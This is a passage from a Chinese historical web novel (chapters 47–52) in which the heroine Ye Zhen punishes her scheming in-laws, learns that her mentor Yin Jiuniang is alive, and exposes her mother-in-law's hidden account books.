那些奉承他的人里,就有自家孩子被谢瑾瑶欺凌的。
忠勇侯觉得自己的老脸被打得啪啪作响。
“若非你横插一脚,夏姑娘兴许眼下还好好的。”
夏姑娘?
谢瑾瑶有片刻茫然。
她不曾打听贺铭的未婚妻叫什么。
也不关心。
忠勇侯见她这副反应,气得胸口疼。
害了人家,却连人家姓什么都不知道,可见她对人命漠视到何种程度。
哪里有半分矜贵知理,分明就是个恃强凌弱,飞扬跋扈还没脑子的锦衣罗刹。
怎么会这样?
他的女儿怎么会这样?
忠勇侯忍住踹她一脚的冲动,沉沉吐出口气,“自明日起,你去西郊马场和女奴们一起养马,何时赎清自己的罪,何时回来。”
他看向贺铭,“是我教女无方,往后她由你监管,若觉她无悔过之心,便让她在马场养一辈子马,本侯绝无二话。”
“父亲,不要啊!”
谢瑾瑶忙膝行到他脚边,“父亲,我是您唯一的女儿,是侯府唯一的嫡小姐啊。”
怎能去做养马的下贱活,还让贺铭决定她是否能回来。
她害死了贺铭的未婚妻,贺铭定恨她入骨,怎会轻易松口。
就算她回来了,有了去马场的经历,往后她还能有什么好前程?
京城这些人会笑话死她的。
不!
她决不能去马场,她央求着。
忠勇侯别开了眼,“贺铭,此刻起,她便交由你管了。”
他心里亦不好受,可他总得给贺铭一个交代。
贺铭这些日子的颓丧,他看在眼里,心中担忧,还恨铁不成钢地骂过他,可谁知造孽的竟是自己的女儿。
他愧对贺铭。
无法不对谢瑾瑶做出处罚,但他亦知,这样的处罚给谢瑾瑶带来的后果。
他的女儿,再难嫁门当户对的人家了。
可谢瑾瑶错得太离谱,不能不严惩。
贺铭不甘心,他想要的是谢瑾瑶的命。
可他也知对谢瑾瑶这种高门贵女来说,这已是重罚。
他更清楚侯爷再失望,也不会要谢瑾瑶的命。
因她是忠勇侯嫡女。
这世道,人与人生来就是不平等的。
他朝忠勇侯拱了拱手,没有迟疑,带走了谢瑾瑶,他还要去找另外那些人报仇。
忠勇侯听着谢瑾瑶的哀求,闭了闭眼。
再睁开,他吩咐,“柳氏那头也莫闲着,让她每日跟着庄上劳作,种地,洗衣,做饭,都让她好好体验体验。”
柳氏母女他们高高在上惯了,才会视底层百姓为蝼蚁。
那就让他们也做做下等人。
他看向伍二,“本侯会还你大哥清白,但本侯也明确告知你,本侯不能让柳氏以命偿命,本侯可允你去庄上盯着她。
她一日三餐是否能吃得饱,由你根据她当日劳动成果而定。”
他并非包庇柳氏,而是柳氏还不能死。
如今他正当年,若柳氏死了,必定会有人,甚至宫里都会盯上侯府夫人的位置。
他的幼子还小,可以母亲不在身边,却不能没有母亲,甚至将来落到继母手里。
伍二看了眼朝露,磕头,“草民谢侯爷能为大哥主持公道,草民也信侯爷,就算没有草民盯着,侯爷也不会对侯夫人徇私。”
他依旧给忠勇侯戴高帽,又道,“大哥死了,妹妹只有草民这一个亲人了,草民想从军,想立功做妹妹的靠山,还请侯爷成全。”
侯夫人不必偿命,皆因大哥是侯府奴才。
打杀奴才,主子不必抵命,是这世道不成文的规定。
他只能忍下这口气,想法子出头,将来才有机会真正报仇。
因而他想利用这个机会,入忠勇侯的麾下,改变自己和妹妹的命运,或许还能找到父亲。
忠勇侯看穿他心思,允了,“不过,本侯手下不养废物,你需得从小兵做起,能走到什么地步,全靠你自己。”
眼下无战事,小兵想出头,不易。
伍二亦知这个道理,但他不惧。
收拾完妻女的烂摊子,忠勇侯身上似被抽干了力气,他摆了摆手,让叶桢和谢霆舟回去歇息,自己则将罗家夫妇叫到跟前。
第48章 叶桢异常
罗副将得知女儿竟帮着算计叶桢,清秀如书生的脸,暴怒成魔。
“老子打死那个混账东西。”
罗兰巧前脚保证绝不出卖谢瑾瑶,罗副将的拳头一亮出来,她事无巨细,什么都招了。
包括她们事后商量的怀柔手段。
谢瑾瑶往日‘行侠仗义’的事,她也没少参与,罗副将气得要让她和谢瑾瑶一起养马。
“夫君,兰儿她还小,妾身往后慢慢教……”
罗夫人想为女儿求情,罗副将一锤定音,“再求情,你陪她一起去。”
他瞪了妻子一眼,侯府嫡女都被发配去养马了,他家这个还能娇贵过谢瑾瑶?
长歪的孩子,不吃苦怎么掰的正?
于是,罗兰巧出门赴宴,连家门都没能回,就被送去了西郊马场做马奴。
罗家夫妇离开后,崔嬷嬷来辞行。
忠勇侯道谢,让人准备礼品。
世子的母亲娄氏当年来京时,王老夫人担心下人照顾不周,曾让崔嬷嬷在她身边呆了多年。
娄氏因此与崔嬷嬷亲近,忠勇侯随妻子,对崔嬷嬷也会客气几分。
老人家来侯府忙碌多日,自不能让她空手回去,王老夫人那边也得备些礼。
崔嬷嬷笑,“侯爷不必劳烦,少夫人都给了,不只有老夫人的,老奴和医女桃枝三人都有,少夫人做事极为周到。”
还很感恩。
忠勇侯便也不坚持,后靠在椅子上,放松了姿态,“嬷嬷,东侧客房究竟是怎么回事?”
一事接着一事,他还没细问叶桢,眼下正好问崔嬷嬷。
崔嬷嬷笑,“侯爷说到这件事,老奴少不得要夸夸少夫人。
少夫人头回操持这样的大宴会,担心出差池,便格外谨慎,三步一小岗,五步一大岗,安排了暗哨。
罗副将一出事,少夫人的婢女便得到消息,当时她寻不到少夫人,就找到了老奴。”
那个时间点,叶桢正被谢瑾瑶下药,关在屋里。
崔嬷嬷看了眼忠勇侯,“少夫人同老奴提过,侯爷和世子这次得了通天的功绩,难免遭人艳羡,趁机捣乱。
堵不如疏,真遇上了,不如看看他们究竟想做什么,心里好有个防备。
老奴愚钝,一时也想不出那人究竟是要针对罗副将,还是针对您,便索性将计就计。”
她叹了口气,“万没想到,竟是针对少夫人的……”
忠勇侯目光沉沉。
叶桢苦心操持宴会,防着外人,结果捣乱的却是她的小姑子和表妹。
想到孽女谢瑾瑶,他身上就疲惫得很。
崔嬷嬷人老成精,也是叶桢没刻意防备她,因而她看出这次宴请,叶桢真正防着的是谢瑾瑶和叶晚棠。
但还是选择佯装不知,同忠勇侯说了这番话。
人与人之间的缘分当真奇怪,叶桢就是入了她的眼。
爹娘不疼,丈夫不爱,婆婆小姑子刁难,她却依旧良善,这样的姑娘,她忍不住多帮几分。
加之看到叶桢,总忍不住想到世子他娘,或许当年她在这侯府亦需要帮助,可那时侯爷在外,她也跟着老夫人离京。
回来便是她的死讯,崔嬷嬷始终遗憾。
从过往思绪中回神,崔嬷嬷知道过犹不及,因而没再多言。
等崔嬷嬷离开后,忠勇侯又让人给叶桢送了两千两银票,是他对叶桢的肯定,自己则在屋中坐了许久。
叶桢得了银票,也赏了身边下人。
朝露也得了一两,这对她来说是笔不小的数目,但她却高兴不起来。
并非嫌钱少,而是担心伍二,怕他在军中吃苦,又难受没能真正为伍大报仇。
她不曾拥有过富贵,因而不懂忠勇侯的惩罚对柳氏母女的痛苦。
在她的认知里,只有以命抵命才算真正大仇得报。
叶桢看出她心思,拍了拍她脑袋,“蚂蚁撼树非一日之功,莫急,你会得偿所愿的。”
她已经找到了点证据,能确定谢瑾瑶并非侯爷的女儿,但她需要一个契机,揭露此事。
这一日不会等多久的。
朝露不是很明白叶桢要做什么,但她听懂了后头那几句。
这些日子的相处,她已知晓叶桢并非真正坏人,今日之事有她筹谋,柳氏母女才会被处罚,因而她信叶桢。
“少夫人,我爹应该还活着。”
她投桃报李,吐露自己的秘密,“奶当年捡到爹时,他满身是伤,却锦衣华服,隔壁秀才说,听我爹口音像是京城人士,但爹受伤失忆,不记得自己是谁,因而做了奶的儿子。
奶生病,我爹为了赚钱给她治病,跟着镖局走镖,和劫匪打斗时失踪。
恰那时家乡先是洪水,后又爆发瘟疫,奶和娘都死了。
大哥带着我们逃荒,途中听老乡说在京城见过我爹,骑着高头大马,身后仆从无数很是富贵的样子。
我们兜兜转转来了京城,可京城太大,我们也没钱,想找爹不容易。
大哥自小跟爹学过骑马,便进了侯府做车夫,想着能跟侯夫人出门,说不定就能见到爹。”
可爹没找到,大哥先死了。
朝露藏起悲伤,问叶桢,“少夫人,往后你参加宴会,可否带上我。
大哥说爹是好人,对我们三个极为疼爱,他定也在找我们,等我找到爹,让他帮你,好不好?”
担心叶桢误会她是画大饼,又忙补充,“乡邻们也都说我爹是好人。”
叶桢没想到朝露还有这样的身世,问道,“你可记得你爹长什么样?”
“爹出事时,我刚出生,二哥也才三岁。”
只有大哥还记得爹长什么样,可大哥没了。
“不过,我爹身上有块玉佩,当时他拿去当铺想补贴家用,掌柜出了五百两。
奶觉得这是爹将来找回家人和身份的凭证,就没同意当,后头发洪水,那玉佩也没了。”
可能随身佩戴贵重玉佩,又是京城口音的富贵人,范围就缩小了很多。
“大哥说我与娘长的极像,爹看到我定能认出我。”
叶桢应了她。
朝露感激涕零,忙求着挽星教她规矩和做事。
她不想出门丢了叶桢颜面,也希望自己能在叶桢身边出力。
叶桢不拦她,多学点东西对朝露来说并非坏事。
至于朝露的爹能帮忙,叶桢却是没指望过的。
她自己父母亲缘浅淡,便希望身边人能得得偿所愿。
却没想到,朝露的话成了真,她爹当真成了叶桢不小的助力,这是后话。
夜间,叶桢去了墨院。
白日里,谢霆舟告诉她,他拓印了水无痕的信件。
叶桢想来看看。
“今日之事多谢兄长。”
她同谢霆舟道谢,送上自己做的点心。
谢霆舟正襟坐于案前办公,见她来,从书中抽出一张纸递给她。
却没想,衣袖被人紧紧拽住。
叶桢看到信,异常激动,她眼底浸泪,“兄长可知水无痕如今行踪?兄长告诉我,好不好?”
第49章 师父的消息
谢霆舟第一次见叶桢这样失控。
以往,她眼中总是波澜不惊的样子。
他问,“你认得这笔迹?”
叶桢点头,晶莹泪珠落下。
“是我师父殷九娘,她是叶将军的好友,当年为救叶将军深陷沼泽,我一直以为她牺牲了……”
没想到师父还活着。
叶桢激动高兴之余,顿时想了许多。
若师父才是为大渊提供情报的探子,前世,为何这功劳会落在谢云舟身上。
她被毁名声关押破屋,师父却没出现,以师父对她的疼爱,只有一种可能。
师父她被害了!
害她的是不是谢云舟,叶桢却不能确定。
前世谢云舟能顶替她得到封赏,自然也得仿的师父笔迹才行。
可只凭谢云舟就能拿到存于武德司的信件么?
叶桢不确定,她想到了前世谢云舟背后的那个贵人。
若是这样,就算谢云舟**,师父依旧危险。
想到这个可能,叶桢更慌了。
她无意识地抓住了谢霆舟的手腕,“请兄长告知我。”
叶桢的掌心有薄茧,她抓得很用力,疼得谢霆舟微微蹙了眉。
纤细不大的手掌,力气却大得惊人。
谢霆舟拿开她的手。
叶桢这才意识到自己做了什么?
忙收回手,“抱歉!”
她太急了,以至于失了分寸。
但谢霆舟却摇了摇头。
“我亦无更多消息,只知她正在来京的路上。”
忠勇侯曾提过,水无痕是为了叶将军才入敌国为探。
这一点对得上。
但探子既是叶桢师父,就没谢云舟什么事。
且他也没查到山里刺客与谢云舟的关联。
“关于谢云舟的事,你先前所言,可是真?”
他敛眸细究叶桢,想知她有无骗她。
叶桢明白,他问的是她先前借冯嬷嬷之口,透露的谢云舟为探一事。
她说的确实是前世发生之事,因而重重点头,“冯嬷嬷的确如此说的。”
且她相信,如果不是她重生,事情依旧会是前世走向。
谢霆舟眼皮微落,不知思量什么。
叶桢却又想到另一桩事。
师父名讳九娘,与射姑也相识,射姑眨的九下眼睛,会不会就是代表师父?
射姑知道师父还活着?
那她又是如何知晓的?还是说,师父也与射姑联络过?
若真如此,射姑手中当也有师父的书信。
以射姑对叶晚棠的忠诚,必定会将此事告知叶夜棠。
怪不得!
叶桢想通了一些事。
怪不得先前那些年,叶家没对她动手,这次却要对付她。
叶晚棠心中清楚自己到底是个冒牌货,心虚之下必定害怕叶桢察觉什么。
且师父若给射姑来信,定然是提及了叶桢,不然射姑不会暗示叶桢殷九娘的事情。
叶晚棠知道有人护着叶桢,可能成为叶桢的助力,她害怕了,所以想除了叶桢。
若这个推测为真的话,那前世害死师父,帮谢云舟冒领功劳的也有可能是叶晚棠。
“兄长先前答应我,去看看射姑,今晚可否与我同行?”
射姑病好了,她便能以看望王氏为借口,再入将军府找射姑问师父之事。
谢霆舟虽没问,但见叶桢这个时候还想到射姑,便猜到定是射姑知道些什么。
而他也有自己想查的,因而起身,“走吧。”
但叶桢满心期盼,最终化为失望。
将射姑弄晕后,谢霆舟替她诊了脉。
得出结论,射姑的确是**所致,毒也的确是当年叶惊鸿从苍狼国带回来的。
但解药需得以苍狼国那边的火土为引。
那土离了苍狼特殊地貌,便失了药性,想解毒,只能带人去苍狼。
本就是害人**,解毒又如此麻烦,当年叶惊鸿知晓此事后,便奏请皇帝销毁这种**。
皇帝也的确下令了。
却不知叶晚棠手里为何还留着,如今还用在了叶惊鸿的心腹身上。
“除此之外,别无他法吗?”
叶桢不甘心。
“无。”
那就只能叫醒射姑询问了,可这样的话就暴露了叶桢。
三更半夜出现在此,射姑定能猜到她会武。
一旦射姑将叶桢会武的事透露给叶晚棠,叶桢就失了先机。
往后想要报仇,拿回自己的身份就没那么容易了。
可师父既还活着,却没联络叶桢,定是怕连累她,说明师父眼下的处境并不太好。
她伸手去弄醒射姑,却被谢瑾舟阻拦。
“你想好了?”
叶桢点头。
报仇要紧,师父的安危更重要。
谢霆舟却拉着她出了射姑的房间,两人出门都是夜行衣。
他系好脸上面巾,看向叶桢。
可往日伶俐的人,担忧亲人之下,竟不似平日那般灵光,叶桢不解地看向谢霆舟。
她一时没明白谢霆舟要做什么。
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谢霆舟看她这幅模样,鬼使神差的,他伸手替叶桢系好了面巾。
“在这等着。”
没一会儿,谢霆舟将叶晚棠提到了射姑面前。
射姑醒来,见叶晚棠被一黑衣男子擒在手里,生死不知。
惊得眼球凸起。
可她什么都做不了。
“我无意与将军府为敌,但与殷九娘有些恩怨未了。
听闻你前些时日在找她的行踪,告诉我,殷九娘是否活着?
若她活着,眨一下眼,别耍花样,否则,你的小主子只能见阎王了。”
他的声音低沉清冷,不是往日说话的嗓音。
射姑用力眨眼。
任何人在她眼里,都不及主子的血脉重要,包括她自己。
何况,殷九娘既来信,她活着的消息迟早会公开。
因而谢霆舟之后问的关于殷九娘的事,她都答了。
可她所知有限,谢霆舟最后问道,“殷九娘给你的信在哪里?”
射姑不知,那信被叶晚棠拿走了。
谢霆舟从她表情看出答案,他弄醒了叶晚棠。
在叶晚棠还懵懂什么都没反应过来时,袖中****了她的胳膊。
叶晚棠是睡梦中被打晕带过来的,疼痛让她清醒,却还没喊出声,**抵在了脖子上。
“殷九娘的来信在哪?”
“什么,什么信?”
叶晚棠白日丢了大人,恨不得将叶桢和谢霆舟**万段。
尤其是叶桢,因而想了许多针对叶桢的恶毒计划。
其中一个,便是利用殷九娘。
先前,她得知殷九娘还活着,射姑猜她极有可能是去了敌国为探,叶晚棠便想要殷九娘的功劳。
可她这些年一直在京城,不是冒领功劳的合适人选。
恰那时,谢云舟回京了,她便生出杀殷九娘,让谢云舟领功的念头。
没想谢云舟这个废物竟**,加之射姑也还没找到殷九娘,计划暂得搁浅。
但今日侯府发生的事,让她迫切需要权势,这个念头再次生起,她要亲自去找殷九娘。
在殷九娘还不知她与叶桢真正关系时,利用叶惊鸿女儿的身份,从她口中套出做探子的细节。
届时,她再寻个能为她所用的人选,得了这份功劳,这份功劳便也变相为她所用。
如此,冒领之人就要赶紧学会殷九娘的字迹,她又怎能交出这封信?
可谢霆舟只看她眼珠子转动,便知她眼底满是恶毒算计,**划进了她脖间皮肉……
第50章 兄长为什么帮我
叶晚棠计划再多,命也只一条。
她是怕死的,最终只得交出那封信。
谢霆舟拿了信,示意暗处的叶桢一同离开。
包扎好伤口后,叶晚棠砸烂了射姑的房间。
“他是谁?为何会出现在将军府?
你又是怎么布防府中的?竟让刺客在将军府来去自如?”
一天之内,她先是鞭伤,后是刀伤,名声也损了。
那信也被拿走了,她根本没细看殷九娘的笔迹,如何再让人模仿。
叶晚棠将所有怒气都发泄在射姑身上。
面对质问,射姑闭上了眼。
将军府的确不及将军在时,那般铁板一块。
可若不是叶晚棠将府中一半护卫,派出去寻殷九娘,又担心底下人察觉她**真相,以她需要静养为名,将人都撤到了外院。
今晚刺客入后院,就算他们抓不到人,可会有所察觉。
射姑不愿腹诽小主子自作自受,索性闭眼装睡。
反正她也回答不了。
叶晚棠被无视,心头更加狂躁,直接一巴掌打在了射姑脸上。
“母亲信任你,让你留在我身边,结果你就是这样效忠我的?”
若射姑早些找到殷九娘,今日她在侯府就不必亲自出马,也就不会有后头那些事。
都怪射姑。
因而又是一巴掌,骂得更难听。
“若不是有我,你就得跟着母亲上战场,跟着战死,如今早成白骨,哪有这些年的作威作福……”
跟随射姑多年的武婢听不下去了,也不忍射姑再被打,出言求饶。
“还请小姐息怒,今日之事是我等不察,非大管家之错。”
大管家为将军府操劳半生,如今人都瘫在床上,府中进刺客的事,小姐怎能怪到大管家头上。
还骂得那般诛心刻薄。
武婢的话对叶晚棠来说,无疑火上加油。
她怒目看向武婢,“既如此,那你便自断双腿,以示惩戒。”
对武婢来说,断了腿,便等同废物,在将军府再无立足之地。
所有武婢,包括床上的射姑都满眼震惊,谁都没想到叶晚棠会下这样的令。
要知道这些武婢,可都是叶惊鸿亲自挑选出来的。
她们对叶晚棠忠心耿耿多年。
见武婢不动,叶晚棠怒吼,“还不动手,你们别忘了,谁才是你们的主子。”
其余武婢纷纷跪地求饶,叶正卿适时上前劝解……
叶桢不知将军府的事,她和谢霆舟一路回了墨院。
从将军府拿来的信,亦是师父的字迹,且师父信中让射姑关照她。
她泪盈于睫。
师父真的还活着。
可师父也是真的身处危险,故而才不敢暴露行踪。
她究竟要如何寻到师父?
谢霆舟却道,“殷前辈既说要来京城,当是有把握脱困。
贸然寻人反而可能坏她计划,眼下你要做的,便是让殷前辈知晓,叶晚棠与你不合之事。”
如此,就算叶晚棠先找到了殷九娘,殷九娘也会对她防备。
叶桢亦有此打算,明日她便将叶晚棠害她之事宣扬出去,还得让师父知道,她眼下在侯府过得很好。
察觉谢霆舟对师父的称呼,又想到今日他多次反常行为。
叶桢问道,“兄长为何帮我。”
且帮了多次。
叶桢感知得到,谢霆舟先前对她是提防且疏离的。
谢霆舟只当不知她问得还有白日之事,回道,“每一个潜伏敌国的探子,都值得人敬重,本世子不希望他们有事。
许多时候,他们远比将士身临战场更危险。
而相对来说,敌国往往恨他们,比恨阵前将士更甚。
因而不少探子回国后,担心被报复,宁愿放弃功名,只背地得些朝廷赏赐,安度余生。
殷前辈这次为大渊提供的,是敌国的作战计划。
能探到这样的机密情报,可见她接近的并非寻常人,也足够得对方信任。”
她背叛了对方,害敌国大败,对方定然恨极,想要杀之而后快。
但殷九娘能从敌国脱身,还往京城分别给皇帝和射姑送了信,却未要求支援,可见她有自己的法子。
且看叶桢这般身手,她的师父武功自然也不差。
故而他才建议叶桢别轻举妄动。
至于谢霆舟对叶桢态度的改变,是他探知了叶桢反常举动的真正原因。
初遇时,叶桢伪装自己,连杀侯府几人,又与宫廷暗卫有牵连。
她与之前谢霆舟了解的侯府少夫人反差太大,让谢霆舟不得不怀疑她的身份。
忠勇侯作为大渊武将主力,他身边任何异常都值得谢霆舟留意几分,他甚至怀疑过叶桢是针对忠勇侯的细作。
可若叶桢才是叶惊鸿的女儿,叶家三口夺她一切,还与柳氏母子合谋害她,叶桢一系列的行为便只是报仇。
加之白
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日里,谢霆舟收到南边发来的消息,眼前人的确是长在庄上的那个叶桢。
谢霆舟打消了对叶桢的怀疑。
虽他看出,叶桢有所隐瞒,但不涉及家国安危,谢霆舟不会阻拦叶桢。
至于白日的帮忙,只因叶桢管家可以,侯府需要一个能让府中稳定的掌家人。
而叶桢眼下身后无依仗,唯有忠勇侯那点子庇护。
若叫忠勇侯知道,伍大的事有叶桢的参与,以忠勇侯的性格难免对叶桢不满,叶桢失了忠勇侯这个依仗,掌家就会艰难。
谢霆舟不想府中生乱。
若还有别的,那便是他从小就不喜叶晚棠,如今得知她是个假的,还这般嚣张,趁机教训一二。
意识到自己竟想了这么多理由,谢霆舟一怔。
而她对面的叶桢对此并无察觉,她亦在沉浸在自己的思绪里。
怪不得前世谢云舟冒领功劳后,还活得好好的,定是敌国知道他根本不是真正的探子。
还有谢霆舟这人实在过于精明,许多事她不说,他亦能看的明白,往后若非不得已,尽量别同此人撒谎。
想完谢霆舟,她又在想殷九娘的行事作风,以此来推断她回到大渊后,可能藏身的地方……
“主子。”
刑泽的声音打断了两人的思绪,“将军府丢出一个受伤的武婢……”
叶晚棠还没收服将军府所有人的心,再严惩武婢,难免叫人心寒。
叶正卿以此劝诫,但叶晚棠从未如此受挫,不罚心里的气出不了,最终虽留了武婢的一双腿。
但打了二十大板,将她逐出了将军府,刑泽和扶光将人捡了来。
“将军府的武婢,大多是当年的红缨军里出来的,都是上过战场的巾帼,叶晚棠说丢就丢,太折辱人了。”
红缨军是叶惊鸿组建的娘子军,曾跟着她打过许多次胜仗。
刑泽对她们很是敬佩,只不过红缨军当年随叶惊鸿战死后全军覆没,就剩留在叶晚棠身边的这些个了。
叶晚棠却不知珍惜。
“皇帝也不知是什么眼光,竟选这么个人做太子妃,她哪里配得上……”
她哪里配得上我们主子。
意识到他要说什么,扶光忙捅他胳膊,示意他闭嘴。
刑泽也反应过来,还有个叶桢在,他死死抿住唇。
他这反应让叶桢眸底微闪。
且她留意到刑泽对皇帝似乎并无多少敬意……
第51章 叶桢搞事
自宴请那日后,叶桢算是彻底在侯府立住了脚。
大小姐妄图与少夫人作对,结果被发配去马场,下人们再不敢掉以轻心。
侯府进入井然有序的状态,祥和平静。
忠勇侯对此很满意,安心将侯府交给叶桢。
叶桢心里担忧殷九娘,却谨记谢霆舟提醒,没有妄自寻人。
却时刻关注将军府的动静,积极参加了几次京中宴会,将自己的现状透露出去。
同时,还给来京的饮月和南边庄上分别去信,让他们留意殷九娘动向。
叶晚棠原本想亲自外出寻殷九娘,信件被拿走,人又受伤后,她打消了这个念头。
为挽救在侯府损失的名声,她让人在城门办了几次施粥,又进宫同皇后解释自己的糊涂。
她哭诉,“娘娘,我自小在舅母身边长大,清楚舅母对表姐的口是心非,她表面冷淡疏离,心里时时挂怀。
每年都会让庄子那头送表姐的画像回京,以解相思。”
实则是监视叶桢,担心她长得过于像叶惊鸿。
“可舅母被表哥的死吓坏了,担心再失去唯一的女儿,钻了死胡同,并非不爱表姐,而是太爱,才担心批命为真,也不想她余生蹉跎在侯府。
叶家如今只剩桢表姐这一根独苗,舅母怕桢表姐老来无依,想送她回南边嫁人,又不好开口求得侯府放人,这才剑走偏锋。
舅母待我如亲女,我想回报她,成全她。
晚棠第一次做这种糊涂事,也担心让世人知道真相,会引得别的孀居女子效仿,在京中引起不好的影响,因而没敢吐露真相。
但晚棠却不敢瞒娘娘,娘娘,晚棠知错了。”
后宫无争斗,皇后又得皇帝独宠多年,她养成了慈和的面相。
耐心听叶晚棠说完,笑着安抚她。
叶晚棠又道,“娘娘,在晚棠心里,依旧盼着表姐余生能有重新开始的机会。
寡居并非女子的错,她们当有追求幸福的权利……”
皇后是守寡再嫁,且改嫁的还是自己的小叔子,新一任皇帝,此事依旧颇有争议,只不过碍于帝后威严,无人敢明着议论。
叶晚棠趁机奉承皇后。
又以担心身上留疤为由,向皇后讨要了女医为她诊治。
之后叶晚棠又入宫陪了皇后两次,那些想瞧她笑话的人,看在皇后面上,歇了心思。
叶桢得知这些后,并未因此气馁。
母亲是为国捐躯的忠臣,于大渊有大功,她的独女是功臣遗孤,只要不是犯谋逆大罪,帝后看在母亲功绩上,为树立感念功臣的形象,也会对叶晚棠宽容几分。
百姓同样如此。
因而叶桢的报仇之路,并不容易,想夺回身份,更得步步筹谋。
溃堤千里,非一蚁之穴。
只要叶桢挖的蚁穴够多,等这些蚁穴积累到一定量,无论叶晚棠再如何挽救,也躲不过崩塌之势。
叶桢有耐心,也必须耐心平和。
自己情绪稳定,才能搞对方情绪。
挽星进来,“小姐,侯爷回来了。”
叶桢抱起账本,让挽星带上桌上的砚台,两人前往忠勇侯的书房。
现下她要做的,是彻底解决柳氏。
“父亲,儿媳查账时,发现府中采购的砚台格外贵,担心是底下人以次充好,从中获利,便多查了。”
她将砚台呈给忠勇侯,提笔沾墨在纸上写了个字,又触及砚台底部机关,再沾墨写了个字。
很快,后面写的字渐渐淡去,直至变成透明,不见一丝痕迹。
叶桢解释,“我才知这种砚台是府中专门定制,用来做阴阳账。”
是谁定制的,无需言明,忠勇侯心中了然。
他沉声问结果,“账册发现了什么问题?”
叶桢打开一本账册,指甲轻微扫过,原本的墨迹下又显出另一行小字。
上头赫然写着,“修缮祖屋一万两。”
叶桢又翻出一本,如法炮制,字迹显现,也是修缮祖屋一万两。
两本账册,时间相差只有半年,“儿媳连看了三年账册,侯府每年都会拨两万两回祖籍修缮祖宅。”
而叶桢指甲里藏的是一种特制的草粉,是定制砚台的店家专门研制,用方便做阴阳账的人查真账用的。
“儿媳也花大价钱定制了一个,才从店家处得知这种砚台的玄妙之处。”
叶桢同忠勇侯解释。
忠勇侯不在意叶桢花出去的这个钱,他在意的是柳氏每年给祖宅的两万两,究竟用来做什么。
老侯爷十岁出头就成了孤儿,亲朋好友无人接济,他靠打猎为生,后更是被族里坑骗顶了参军名额。
因而他对老家那些人,并无多少感情。
封侯后昔日亲友寻上门,也只随便给了些银钱应付了事,除了祭祖,极少回去。
老侯爷过世后,他继承爵位,族
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里那些人又求上门。
柳氏担心他落得个不近人情,忘本负恩的名声,给了一千两打发了。
当时,他想着用一千两买个清净,故而没反对。
之后的每年柳氏都会往族里送一千两,族里也没再来过人,他便没将此事放在心里。
谁想,一千两变成了两万两。
什么祖宅需要年年修缮,又修的是什么琼楼玉阁需要那么多银子。
没想叶桢又打开一本账册,“老家那边挂在侯府名下的良田,已有万亩。
儿媳仔细翻查了所有相关账册,查到这些良田来处大约有三种。
一是以谢家坟地名义侵占。
二是放贷百姓,利滚利,百姓还不起时,以田产偿还。
三是打着为百姓挂户免税的旗号,之后再暗地更改他们挂户的数目,以此侵占。
但账上显示,这万亩良田每年产出的粮食,不及其余庄上千亩产出的粮食多。”
叶桢心中冷笑,只怕其余的粮食,不是被柳氏贴给了姘头,就是贴给了假死在外的谢云舟。
砰!
忠勇侯听完重重一掌拍在椅上,椅子顿时散架成柴。
好一个柳氏,原来她才是侯府最大的蛀虫,还敢背着他欺压百姓。
自己从前当真是瞎了眼了。
忠勇侯沉下一口气,“还发现了什么?”
叶桢似有为难,“有是有,但儿媳不知该不该说。”
忠勇侯那种不好的感觉又上来了。
“说。”
敢不敢的,叶桢不是都已经说了许多么。
叶桢便又将几本账册推到忠勇侯面前,“儿媳发现,年节时,府中都会收到一些礼品。”
忠勇侯不曾拉帮结派,但身处他这个位置,少不得会被人讨好巴结,有人往府里送节礼算不得稀奇事。
他等着叶桢说下去。
“每次的节礼里都有年轻姑娘喜爱的绸缎和珠叉首饰,价格不菲。
除此之外,瑾瑶每年的生辰前夕,亦会有东西送来。
但账册标注的只是老家,无更多其他消息。
父亲,您说这个老家会不会是族里?”
忠勇侯蹙眉未言。
叶桢小心看她一眼,“儿媳目前只看了三年的账册,不知三年前可有送这些。
小姑如今也过了及笄年纪,儿媳担心会不会是婆母给小姑相看了人家,对方才会年年送礼过来?”
她故意如此猜测。
第52章 柳氏夜会男人
叶桢的逻辑没有错。
若不是定了亲事,对方凭什么要年年给谢瑾瑶送礼?
但忠勇侯却担心事情没那么简单。
柳氏心高气傲,恨不能谢瑾瑶配龙子凤孙,又怎会轻易将她许了人家。
还不告诉他这个父亲,柳氏知道他对女儿的在意,胆子再肥,当也不敢擅自做主女儿的婚事。
若不是定亲,那么对方为什么要年年给瑾瑶送礼。
若是为讨好他,也不至于连瑾瑶的生辰都送礼过来。
而他并不只瑾瑶这一个孩子,讨好他的儿子或许更有前途。
忠勇侯心底越来越沉。
他问叶桢,“可还有别的?”
有的。
叶桢在心里默默道,但一下子给太多,怕你接受不了。
也怕忠勇侯不信,反而疑心是她针对诬陷柳氏,不如让他自己去发现。
忠勇侯拿起墙上马鞭,“族里那边的事,我会派人去查。
你辛苦了,回去歇着吧,我去趟庄上。”
叶桢看了眼天色,欲言又止,“父亲,即将夜幕……”
忠勇侯摆了摆手,“无碍。”
行军打仗赶夜路是常有的事,今晚不去庄上,他也睡不踏实。
叶桢眯着眼睛看他大步离开。
猜到柳氏会向老夫人和她那个姘头求援后,叶桢借庄头拜见新掌家人的机会,收买了看守柳氏的庄头。
刚刚收到庄头派人送来的消息,今日庄子附近有人转悠。
叶桢算算时间,柳氏的支援也该到了。
若是老夫人的话,直接进庄便可,无需在庄子附近鬼鬼祟祟,因而她猜来人应是柳氏的姘头。
故而刚刚才去找了忠勇侯,果然,忠勇侯得知事情后,要去找柳氏清算。
就不知他能不能及时抓个现场,叶桢缓缓踱步回屋。
“不知道老夫人回来后,会如何对付我。”
丢下柳氏的事,叶桢心里如此发问,开始盘算应对之策。
而庄上,柳氏跟着下了一天地,忙得腰都直不起来。
得到的却只有一个馒头,一碗稀饭。
她气得眼泪直流。
被留在庄上这些日子,除了织云来看她时,她借机向老夫人求助,之后的日子一直被忠勇侯留下的护卫看着。
只有如厕洗漱时,能得片刻自由。
可这庄上的人得了侯爷指令,无人敢将她在庄上的真实情况透露出去,更不敢替她传递消息。
她在这里眼盲耳聋,除了护卫得侯爷示意,将谢瑾瑶犯的蠢一件件告知她。
将馒头稀饭全部吃完,她拿起木桶打水洗漱。
刚开始的几天,护卫虽看着她,好歹还会帮忙做些打水倒水的体力活。
可谢瑾瑶犯错后,侯爷迁怒她这个母亲,对她越来越苛刻。
想到女儿,柳氏眼泪又下来了。
是气的。
原本还指望女儿接她回去,结果非但没救她,反而连累了她。
听说谢瑾瑶自己也被送去马场了,柳氏绝望又怨恨。
怨女儿没用,白长了脑袋,却不长脑子,明明她叮嘱过的,她依旧一败涂地。
恨忠勇侯寡情,竟能对她如此狠心,枉费多年夫妻之情。
